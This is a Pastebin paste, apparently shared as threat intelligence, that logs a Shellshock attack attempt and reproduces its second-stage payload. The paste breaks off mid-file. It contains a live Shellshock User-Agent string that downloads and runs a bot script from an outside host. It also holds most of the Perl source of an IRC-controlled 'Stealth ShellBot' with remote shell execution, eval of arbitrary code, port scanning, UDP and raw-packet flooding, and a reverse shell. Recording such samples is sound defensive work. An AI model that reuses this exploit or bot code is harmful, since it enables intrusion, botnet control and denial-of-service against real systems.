Advertisement
Neonprimetime

Shellshock Attempt: 216.55.141.92 , 217.160.204.156

Feb 19th, 2015
338
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 31.30 KB | None | 0 0
  1. Shellshock Attempt
  2. Reported by neonprimetime security
  3. http://neonprimetime.blogspot.com
  4.  
  5. ****
  6.  
  7. Source IP : 216.55.141.92
  8. Payloads:
  9. 91.121.139.165
  10. 217.160.204.156
  11. http://217.160.204.156/bot.txt
  12.  
  13. ****
  14.  
  15. GET /phppath/cgi_wrapper HTTP/1.0
  16. User-Agent: () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESSX";system("crontab -r;crontab -r;crontab -r;killall -9 perl;wget http://217.160.204.156/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl");'
  17. Accept: */*
  18.  
  19. *****
  20.  
  21. |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
  22. ===========================================================================================
  23. http://217.160.204.156/bot.txt (47.67%)
  24. ===========================================================================================
  25. |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
  26.  
  27. GET /bot.txt HTTP/1.1
  28. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  29. Accept-Language: en-us,en;q=0.5
  30. Connection: keep-alive
  31. Keep-Alive: 115
  32. Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  33. DNT: 1
  34. User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; InfoPath.3)
  35. Host: 217.160.204.156
  36.  
  37.  
  38.  
  39. HTTP/1.1 200 OK
  40. Date: Thu, 19 Feb 2015 17:24:19 GMT
  41. Server: Apache
  42. Last-Modified: Thu, 19 Feb 2015 14:42:35 GMT
  43. ETag: "bbf-7123-50f71f263e862"
  44. Accept-Ranges: bytes
  45. Content-Length: 28963
  46. X-Powered-By: PleskLin
  47. Connection: close
  48. Content-Type: text/plain
  49.  
  50.  
  51. -------------------------------------------------------------------------------------------
  52.  
  53. #!/usr/bin/perl
  54. # - Adicionado comando !estatisticas ;
  55. # - Alterado o comando @pacota para @oldpack;
  56. # - Adicionado dois novos pacotadores: @udp e @udpfaixa ;
  57. # - Adicionado um novo portscan -> @fullportscan ;
  58. # - Adicionado comando @conback com suporte para Windows/Unix :D;
  59. # - Adicionado comando: !sair para finalizar o bot;
  60. # - Adicionado comando: !novonick para trocar o nick do bot por um novo aleatorio;
  61. # - Adicionado comando !entra e !sai ;
  62. # - Adicionado comando @download ;
  63. # - Adicionado comando !pacotes para ativar/desativar pacotes :);
  64.  
  65. ########## CONFIGURACAO ############
  66. my $processo = '/usr/sbin/httpd';
  67.  
  68. $servidor='91.121.139.165' unless $servidor;
  69. my $porta='80';
  70. my @canais=("#new");
  71. my @adms=("X","Y");
  72. my @auth=("*!*@localhost");
  73.  
  74. # Anti Flood ( 6/3 Recomendado )
  75. my $linas_max=6;
  76. my $sleep=3;
  77.  
  78. my $nick = getnick();
  79. my $ircname = getnick();
  80. my $realname = getnick();
  81.  
  82. my $acessoshell = 1;
  83. ######## Stealth ShellBot ##########
  84. my $prefixo = "#";
  85. my $estatisticas = 0;
  86. my $pacotes = 1;
  87. ####################################
  88.  
  89. my $VERSAO = '0.2a';
  90.  
  91. $SIG{'INT'} = 'IGNORE';
  92. $SIG{'HUP'} = 'IGNORE';
  93. $SIG{'TERM'} = 'IGNORE';
  94. $SIG{'CHLD'} = 'IGNORE';
  95. $SIG{'PS'} = 'IGNORE';
  96.  
  97. use IO::Socket;
  98. use Socket;
  99. use IO::Select;
  100. chdir("/");
  101. $servidor="$ARGV[0]" if $ARGV[0];
  102. $0="$processo"."\0";
  103. my $pid=fork;
  104. exit if $pid;
  105. die "Problema com o fork: $!" unless defined($pid);
  106.  
  107. my %irc_servers;
  108. my %DCC;
  109. my $dcc_sel = new IO::Select->new();
  110.  
  111. #####################
  112. # Stealth Shellbot #
  113. #####################
  114.  
  115.  
  116.  
  117. sub getnick {
  118. #my $retornonick = &_get("http://websurvey.burstmedia.com/names.txt");
  119. #return $retornonick;
  120. return "new".int(rand(9000));
  121. }
  122.  
  123.  
  124. sub getident {
  125. my $retornoident = &_get("http://www.minpop.com/sk12pack/idents.php");
  126. my $identchance = int(rand(1000));
  127. if ($identchance > 30) {
  128. return $nick;
  129. } else {
  130. return $retornoident;
  131. }
  132. return $retornoident;
  133. }
  134.  
  135. sub getname {
  136. my $retornoname = &_get("http://www.minpop.com/sk12pack/names.php");
  137. return $retornoname;
  138. }
  139.  
  140. # IDENT TEMPORARIA - Pegar ident da url ta bugando o_o
  141. sub getident2 {
  142. my $length=shift;
  143. $length = 3 if ($length < 3);
  144.  
  145. my @chars=('a'..'z','A'..'Z','1'..'9');
  146. foreach (1..$length)
  147. {
  148. $randomstring.=$chars[rand @chars];
  149. }
  150. return $randomstring;
  151. }
  152.  
  153. sub getstore ($$)
  154. {
  155. my $url = shift;
  156. my $file = shift;
  157.  
  158. $http_stream_out = 1;
  159. open(GET_OUTFILE, "> $file");
  160. %http_loop_check = ();
  161. _get($url);
  162. close GET_OUTFILE;
  163. return $main::http_get_result;
  164. }
  165.  
  166. sub _get
  167. {
  168. my $url = shift;
  169. my $proxy = "";
  170. grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  171. if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  172. my $host = $1;
  173. my $port = $2 || 80;
  174. my $path = $3;
  175. $path = "/" unless defined($path);
  176. return _trivial_http_get($host, $port, $path);
  177. } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  178. my $host = $1;
  179. my $port = $2;
  180. my $path = $url;
  181. return _trivial_http_get($host, $port, $path);
  182. } else {
  183. return undef;
  184. }
  185. }
  186.  
  187.  
  188. sub _trivial_http_get
  189. {
  190. my($host, $port, $path) = @_;
  191. my($AGENT, $VERSION, $p);
  192. #print "HOST=$host, PORT=$port, PATH=$path\n";
  193.  
  194. $AGENT = "get-minimal";
  195. $VERSION = "20000118";
  196.  
  197. $path =~ s/ /%20/g;
  198.  
  199. require IO::Socket;
  200. local($^W) = 0;
  201. my $sock = IO::Socket::INET->new(PeerAddr => $host,
  202. PeerPort => $port,
  203. Proto => 'tcp',
  204. Timeout => 60) || return;
  205. $sock->autoflush;
  206. my $netloc = $host;
  207. $netloc .= ":$port" if $port != 80;
  208. my $request = "GET $path HTTP/1.0\015\012"
  209. . "Host: $netloc\015\012"
  210. . "User-Agent: $AGENT/$VERSION/u\015\012";
  211. $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  212. $request .= "\015\012";
  213. print $sock $request;
  214.  
  215. my $buf = "";
  216. my $n;
  217. my $b1 = "";
  218. while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  219. if ($b1 eq "") { # first block?
  220. $b1 = $buf; # Save this for errorcode parsing
  221. $buf =~ s/.+?\015?\012\015?\012//s; # zap header
  222. }
  223. if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  224. }
  225. return undef unless defined($n);
  226.  
  227. $main::http_get_result = 200;
  228. if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  229. $main::http_get_result = $1;
  230. # print "CODE=$main::http_get_result\n$b1\n";
  231. if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
  232. ) {
  233. # redirect
  234. my $url = $1;
  235. return undef if $http_loop_check{$url}++;
  236. return _get($url);
  237. }
  238. return undef unless $main::http_get_result =~ /^2/;
  239. }
  240.  
  241. return $buf;
  242. }
  243.  
  244. #############################
  245. # B0tchZ na veia ehehe :P #
  246. #############################
  247.  
  248. $sel_cliente = IO::Select->new();
  249. sub sendraw {
  250. if ($#_ == '1') {
  251. my $socket = $_[0];
  252. print $socket "$_[1]\n";
  253. } else {
  254. print $IRC_cur_socket "$_[0]\n";
  255. }
  256. }
  257.  
  258. sub conectar {
  259. my $meunick = $_[0];
  260. my $servidor_con = $_[1];
  261. my $porta_con = $_[2];
  262.  
  263. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  264. if (defined($IRC_socket)) {
  265. $IRC_cur_socket = $IRC_socket;
  266.  
  267. $IRC_socket->autoflush(1);
  268. $sel_cliente->add($IRC_socket);
  269.  
  270. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  271. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  272. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  273. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  274. nick("$meunick");
  275. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  276. sleep 2;
  277. }
  278.  
  279. }
  280. my $line_temp;
  281. while( 1 ) {
  282. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  283. delete($irc_servers{''}) if (defined($irc_servers{''}));
  284. &DCC::connections;
  285. my @ready = $sel_cliente->can_read(0.6);
  286. next unless(@ready);
  287. foreach $fh (@ready) {
  288. $IRC_cur_socket = $fh;
  289. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  290. $nread = sysread($fh, $msg, 4096);
  291. if ($nread == 0) {
  292. $sel_cliente->remove($fh);
  293. $fh->close;
  294. delete($irc_servers{$fh});
  295. }
  296. @lines = split (/\n/, $msg);
  297.  
  298. for(my $c=0; $c<= $#lines; $c++) {
  299. $line = $lines[$c];
  300. $line=$line_temp.$line if ($line_temp);
  301. $line_temp='';
  302. $line =~ s/\r$//;
  303. unless ($c == $#lines) {
  304. parse("$line");
  305. } else {
  306. if ($#lines == 0) {
  307. parse("$line");
  308. } elsif ($lines[$c] =~ /\r$/) {
  309. parse("$line");
  310. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  311. parse("$line");
  312. } else {
  313. $line_temp = $line;
  314. }
  315. }
  316. }
  317. }
  318. }
  319.  
  320. sub parse {
  321. my $servarg = shift;
  322. if ($servarg =~ /^PING \:(.*)/) {
  323. sendraw("PONG :$1");
  324. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  325. my $pn=$1; my $onde = $4; my $args = $5;
  326. if ($args =~ /^\001VERSION\001$/) {
  327. notice("$pn", "\001VERSION mIRC v6.16 ENE ALIN GABRIEL\001");
  328. }
  329. elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  330. notice("$pn", "\001PONG\001");
  331. }
  332. elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  333. if ($onde eq "$meunick"){
  334. shell("$pn", "$args");
  335. }
  336. elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
  337. my $natrix = $1;
  338. my $arg = $2;
  339. if ($arg =~ /^\!(.*)/) {
  340. ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
  341. } elsif ($arg =~ /^\@(.*)/) {
  342. $ondep = $onde;
  343. $ondep = $pn if $onde eq $meunick;
  344. bfunc("$ondep","$1");
  345. } else {
  346. shell("$onde", "$arg");
  347. }
  348. }
  349. }
  350. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  351. if (lc($1) eq lc($meunick)) {
  352. $meunick=$4;
  353. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  354. }
  355. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  356. $meunick = getnick();
  357. nick("$meunick");
  358. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  359. $meunick = $2;
  360. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  361. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  362. foreach my $canal (@canais) {
  363. sendraw("JOIN $canal");
  364. }
  365. }
  366. }
  367.  
  368. sub bfunc {
  369. my $printl = $_[0];
  370. my $funcarg = $_[1];
  371. if (my $pid = fork) {
  372. waitpid($pid, 0);
  373. } else {
  374. if (fork) {
  375. exit;
  376. } else {
  377. if ($funcarg =~ /^portscan (.*)/) {
  378. my $hostip="$1";
  379. my @portas=("21","22","23","25","53","80","110","143");
  380. my (@aberta, %porta_banner);
  381. foreach my $porta (@portas) {
  382. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  383. if ($scansock) {
  384. push (@aberta, $porta);
  385. $scansock->close;
  386. }
  387. }
  388. if (@aberta) {
  389. sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
  390. } else {
  391. sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  392. }
  393. }
  394.  
  395. elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  396. getstore("$1", "$2");
  397. sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas);
  398. }
  399.  
  400. elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
  401. my $hostname="$1";
  402. my $portainicial = "$2";
  403. my $portafinal = "$3";
  404. my (@abertas, %porta_banner);
  405. foreach my $porta ($portainicial..$portafinal)
  406. {
  407. my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  408. if ($scansock) {
  409. push (@abertas, $porta);
  410. $scansock->close;
  411. if ($estatisticas) {
  412. sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
  413. }
  414. }
  415. }
  416. if (@abertas) {
  417. sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
  418. } else {
  419. sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  420. }
  421. }
  422.  
  423. # Duas Vers.es simplificada do meu Tr0x ;D
  424. elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  425. return unless $pacotes;
  426. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  427. my $alvo=inet_aton("$1");
  428. my $porta = "$2";
  429. my $tempo = "$3";
  430. my $pacote;
  431. my $pacotese;
  432. my $fim = time + $tempo;
  433. my $pacota = 1;
  434. while (($pacota == "1") && ($pacotes == "1")) {
  435. $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  436. $pacote=$rand x $rand x $rand;
  437. $porta = int(rand 65000) +1 if ($porta == "0");
  438. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  439. }
  440. if ($estatisticas)
  441. {
  442. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  443. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  444. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1");
  445. }
  446. }
  447.  
  448. elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
  449. return unless $pacotes;
  450. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  451. my $faixaip="$1";
  452. my $porta = "$2";
  453. my $tempo = "$3";
  454. my $pacote;
  455. my $pacotes;
  456. my $fim = time + $tempo;
  457. my $pacota = 1;
  458. my $alvo;
  459. while ($pacota == "1") {
  460. $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  461. for (my $faixa = 1; $faixa <= 255; $faixa++) {
  462. $alvo = inet_aton("$faixaip.$faixa");
  463. $pacote=$rand x $rand x $rand;
  464. $porta = int(rand 65000) +1 if ($porta == "0");
  465. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  466. if ($faixa >= 255) {
  467. $faixa = 1;
  468. }
  469. }
  470. }
  471. if ($estatisticas)
  472. {
  473. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  474. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  475. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
  476. }
  477. }
  478.  
  479. # Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows ;p
  480. elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
  481. my $host = "$1";
  482. my $porta = "$2";
  483. my $proto = getprotobyname('tcp');
  484. my $iaddr = inet_aton($host);
  485. my $paddr = sockaddr_in($porta, $iaddr);
  486. my $shell = "/bin/sh -i";
  487. if ($^O eq "MSWin32") {
  488. $shell = "cmd.exe";
  489. }
  490. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  491. connect(SOCKET, $paddr) or die "connect: $!";
  492. open(STDIN, ">&SOCKET");
  493. open(STDOUT, ">&SOCKET");
  494. open(STDERR, ">&SOCKET");
  495. system("$shell");
  496. close(STDIN);
  497. close(STDOUT);
  498. close(STDERR);
  499.  
  500. if ($estatisticas)
  501. {
  502. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
  503. }
  504. }
  505.  
  506. elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
  507. return unless $pacotes;
  508. my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
  509. $dtime = 1 if $dtime == 0;
  510. my %bytes;
  511. $bytes{igmp} = $2 * $pacotes{igmp};
  512. $bytes{icmp} = $2 * $pacotes{icmp};
  513. $bytes{o} = $2 * $pacotes{o};
  514. $bytes{udp} = $2 * $pacotes{udp};
  515. $bytes{tcp} = $2 * $pacotes{tcp};
  516. unless ($estatisticas)
  517. {
  518. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status -\002");
  519. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Timp\002: $dtime"."secunde.");
  520. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total packet\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
  521. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
  522. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Flood\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
  523. }
  524. }
  525. exit;
  526. }
  527. }
  528. }
  529.  
  530. sub ircase {
  531. my ($kem, $printl, $case) = @_;
  532.  
  533. if ($case =~ /^join (.*)/) {
  534. j("$1");
  535. }
  536. elsif ($case =~ /^part (.*)/) {
  537. p("$1");
  538. }
  539. elsif ($case =~ /^rejoin\s+(.*)/) {
  540. my $chan = $1;
  541. if ($chan =~ /^(\d+) (.*)/) {
  542. for (my $ca = 1; $ca <= $1; $ca++ ) {
  543. p("$2");
  544. j("$2");
  545. }
  546. } else {
  547. p("$chan");
  548. j("$chan");
  549. }
  550. }
  551. elsif ($case =~ /^op/) {
  552. op("$printl", "$kem") if $case eq "op";
  553. my $oarg = substr($case, 3);
  554. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  555. }
  556. elsif ($case =~ /^deop/) {
  557. deop("$printl", "$kem") if $case eq "deop";
  558. my $oarg = substr($case, 5);
  559. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  560. }
  561. elsif ($case =~ /^voice/) {
  562. voice("$printl", "$kem") if $case eq "voice";
  563. $oarg = substr($case, 6);
  564. voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  565. }
  566. elsif ($case =~ /^devoice/) {
  567. devoice("$printl", "$kem") if $case eq "devoice";
  568. $oarg = substr($case, 8);
  569. devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  570. }
  571. elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  572. msg("$1", "$2");
  573. }
  574. elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  575. for (my $cf = 1; $cf <= $1; $cf++) {
  576. msg("$2", "$3");
  577. }
  578. }
  579. elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  580. for (my $cf = 1; $cf <= $1; $cf++) {
  581. ctcp("$2", "$3");
  582. }
  583. }
  584. elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  585. ctcp("$1", "$2");
  586. }
  587. elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  588. invite("$1", "$2");
  589. }
  590. elsif ($case =~ /^nick (.*)/) {
  591. nick("$1");
  592. }
  593. elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
  594. conectar("$2", "$1", 6667);
  595. }
  596. elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  597. DCC::SEND("$1", "$2");
  598. }
  599. elsif ($case =~ /^raw (.*)/) {
  600. sendraw("$1");
  601. }
  602. elsif ($case =~ /^eval (.*)/) {
  603. eval "$1";
  604. }
  605. elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
  606. sleep int(rand($2));
  607. j("$1");
  608. }
  609. elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
  610. sleep int(rand($2));
  611. p("$1");
  612. }
  613. elsif ($case =~ /^sair/) {
  614. quit();
  615. }
  616. elsif ($case =~ /^novonick/) {
  617. my $novonick = getnick();
  618. nick("$novonick");
  619. }
  620. elsif ($case =~ /^estatisticas (.*)/) {
  621. if ($1 eq "on") {
  622. $estatisticas = 1;
  623. msg("$printl", "Estat.sticas ativadas!");
  624. } elsif ($1 eq "off") {
  625. $estatisticas = 0;
  626. msg("$printl", "Estat.sticas desativadas!");
  627. }
  628. }
  629. elsif ($case =~ /^pacotes (.*)/) {
  630. if ($1 eq "on") {
  631. $pacotes = 1;
  632. msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
  633. } elsif ($1 eq "off") {
  634. $pacotes = 0;
  635. msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
  636. }
  637. }
  638. }
  639. sub shell {
  640. return unless $acessoshell;
  641. my $printl=$_[0];
  642. my $comando=$_[1];
  643. if ($comando =~ /cd (.*)/) {
  644. chdir("$1") || msg("$printl", "Diret.rio inexistente!");
  645. return;
  646. }
  647. elsif ($pid = fork) {
  648. waitpid($pid, 0);
  649. } else {
  650. if (fork) {
  651. exit;
  652. } else {
  653. my @resp=`$comando 2>&1 3>&1`;
  654. my $c=0;
  655. foreach my $linha (@resp) {
  656. $c++;
  657. chop $linha;
  658. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  659. if ($c >= "$linas_max") {
  660. $c=0;
  661. sleep $sleep;
  662. }
  663. }
  664. exit;
  665. }
  666. }
  667. }
  668.  
  669. #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
  670. sub attacker {
  671. my $iaddr = inet_aton($_[0]);
  672. my $msg = 'B' x $_[1];
  673. my $ftime = $_[2];
  674. my $cp = 0;
  675. my (%pacotes);
  676. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  677.  
  678. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  679. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  680. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  681. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  682. return(undef) if $cp == 4;
  683. my $itime = time;
  684. my ($cur_time);
  685. while ( 1 ) {
  686. for (my $porta = 1; $porta <= 65535; $porta++) {
  687. $cur_time = time - $itime;
  688. last if $cur_time >= $ftime;
  689. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  690. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  691. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  692. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  693.  
  694. # DoS ?? :P
  695. for (my $pc = 3; $pc <= 255;$pc++) {
  696. next if $pc == 6;
  697. $cur_time = time - $itime;
  698. last if $cur_time >= $ftime;
  699. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  700. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  701. }
  702. }
  703. last if $cur_time >= $ftime;
  704. }
  705. return($cur_time, %pacotes);
  706. }
  707.  
  708. #############
  709. # ALIASES #
  710. #############
  711.  
  712. sub action {
  713. return unless $#_ == 1;
  714. sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  715. }
  716.  
  717. sub ctcp {
  718. return unless $#_ == 1;
  719. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  720. }
  721. sub msg {
  722. return unless $#_ == 1;
  723. sendraw("PRIVMSG $_[0] :$_[1]");
  724. }
  725.  
  726. sub notice {
  727. return unless $#_ == 1;
  728. sendraw("NOTICE $_[0] :$_[1]");
  729. }
  730.  
  731. sub op {
  732. return unless $#_ == 1;
  733. sendraw("MODE $_[0] +o $_[1]");
  734. }
  735. sub deop {
  736. return unless $#_ == 1;
  737. sendraw("MODE $_[0] -o $_[1]");
  738. }
  739. sub hop {
  740. return unless $#_ == 1;
  741. sendraw("MODE $_[0] +h $_[1]");
  742. }
  743. sub dehop {
  744. return unless $#_ == 1;
  745. sendraw("MODE $_[0] +h $_[1]");
  746. }
  747. sub voice {
  748. return unless $#_ == 1;
  749. sendraw("MODE $_[0] +v $_[1]");
  750. }
  751. sub devoice {
  752. return unless $#_ == 1;
  753. sendraw("MODE $_[0] -v $_[1]");
  754. }
  755. sub ban {
  756. return unless $#_ == 1;
  757. sendraw("MODE $_[0] +b $_[1]");
  758. }
  759. sub unban {
  760. return unless $#_ == 1;
  761. sendraw("MODE $_[0] -b $_[1]");
  762. }
  763. sub kick {
  764. return unless $#_ == 1;
  765. sendraw("KICK $_[0] $_[1] :$_[2]");
  766. }
  767.  
  768. sub modo {
  769. return unless $#_ == 0;
  770. sendraw("MODE $_[0] $_[1]");
  771. }
  772. sub mode { modo(@_); }
  773.  
  774. sub j { &join(@_); }
  775. sub join {
  776. return unless $#_ == 0;
  777. sendraw("JOIN $_[0]");
  778. }
  779. sub p { part(@_); }
  780. sub part {sendraw("PART $_[0]");}
  781.  
  782. sub nick {
  783. return unless $#_ == 0;
  784. sendraw("NICK $_[0]");
  785. }
  786.  
  787. sub invite {
  788. return unless $#_ == 1;
  789. sendraw("INVITE $_[1] $_[0]");
  790. }
  791. sub topico {
  792. return unless $#_ == 1;
  793. sendraw("TOPIC $_[0] $_[1]");
  794. }
  795. sub topic { topico(@_); }
  796.  
  797. sub whois {
  798. return unless $#_ == 0;
  799. sendraw("WHOIS $_[0]");
  800. }
  801. sub who {
  802. return unless $#_ == 0;
  803. sendraw("WHO $_[0]");
  804. }
  805. sub names {
  806. return unless $#_ == 0;
  807. sendraw("NAMES $_[0]");
  808. }
  809. sub away {
  810. sendraw("AWAY $_[0]");
  811. }
  812. sub back { away(); }
  813. sub quit {
  814. sendraw("QUIT :$_[0]");
  815. exit;
  816. }
  817.  
  818. # DCC
  819. package DCC;
  820.  
  821. sub connections {
  822. my @ready = $dcc_sel->can_read(1);
  823. # return unless (@ready);
  824. foreach my $fh (@ready) {
  825. my $dcctipo = $DCC{$fh}{tipo};
  826. my $arquivo = $DCC{$fh}{arquivo};
  827. my $bytes = $DCC{$fh}{bytes};
  828. my $cur_byte = $DCC{$fh}{curbyte};
  829. my $nick = $DCC{$fh}{nick};
  830.  
  831. my $msg;
  832. my $nread = sysread($fh, $msg, 10240);
  833.  
  834. if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  835. $DCC{$fh}{status} = "Cancelado";
  836. $DCC{$fh}{ftime} = time;
  837. $dcc_sel->remove($fh);
  838. $fh->close;
  839. next;
  840. }
  841.  
  842. if ($dcctipo eq "get") {
  843. $DCC{$fh}{curbyte} += length($msg);
  844.  
  845. my $cur_byte = $DCC{$fh}{curbyte};
  846.  
  847. open(FILE, ">> $arquivo");
  848. print FILE "$msg" if ($cur_byte <= $bytes);
  849. close(FILE);
  850.  
  851. my $packbyte = pack("N", $cur_byte);
  852. print $fh "$packbyte";
  853.  
  854. if ($bytes == $cur_byte) {
  855. $dcc_sel->remove($fh);
  856. $fh->close;
  857. $DCC{$fh}{status} = "Recebido";
  858. $DCC{$fh}{ftime} = time;
  859. next;
  860. }
  861. } elsif ($dcctipo eq "send") {
  862. my $send = $fh->accept;
  863. $send->autoflush(1);
  864. $dcc_sel->add($send);
  865. $dcc_sel->remove($fh);
  866. $DCC{$send}{tipo} = 'sendcon';
  867. $DCC{$send}{itime} = time;
  868. $DCC{$send}{nick} = $nick;
  869. $DCC{$send}{bytes} = $bytes;
  870. $DCC{$send}{curbyte} = 0;
  871. $DCC{$send}{arquivo} = $arquivo;
  872. $DCC{$send}{ip} = $send->peerhost;
  873. $DCC{$send}{porta} = $send->peerport;
  874. $DCC{$send}{status} = "Enviando";
  875.  
